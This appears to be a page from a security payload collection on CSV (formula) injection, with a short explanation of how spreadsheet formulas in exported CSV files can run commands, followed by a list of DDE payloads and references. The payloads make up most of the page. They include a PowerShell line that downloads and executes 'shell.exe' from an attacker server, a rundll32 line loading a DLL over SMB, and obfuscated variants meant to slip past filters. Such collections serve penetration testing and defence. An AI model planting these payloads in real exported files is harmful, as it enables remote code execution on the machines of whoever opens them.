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126555e5f9
Add additional CSV test cases
2.7 KiB
2.7 KiB
CSV Injection (Formula Injection)
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
Exploit
Basic exploit with Dynamic Data Exchange
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
Technical Details of the above payload:
cmd
is the name the server can respond to whenever a client is trying to access the server/C
calc is the file name which in our case is the calc(i.e the calc.exe)!A0
is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
=
+
–
@
References
- OWASP - CSV Excel Macro Injection
- Google Bug Hunter University - CSV Excel formula injection
- Comma Separated Vulnerabilities - James Kettle
- CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani
- From CSV to Meterpreter - 5th November 2015 - Adam Chester
- CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy
- The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer
- Three New DDE Obfuscation Methods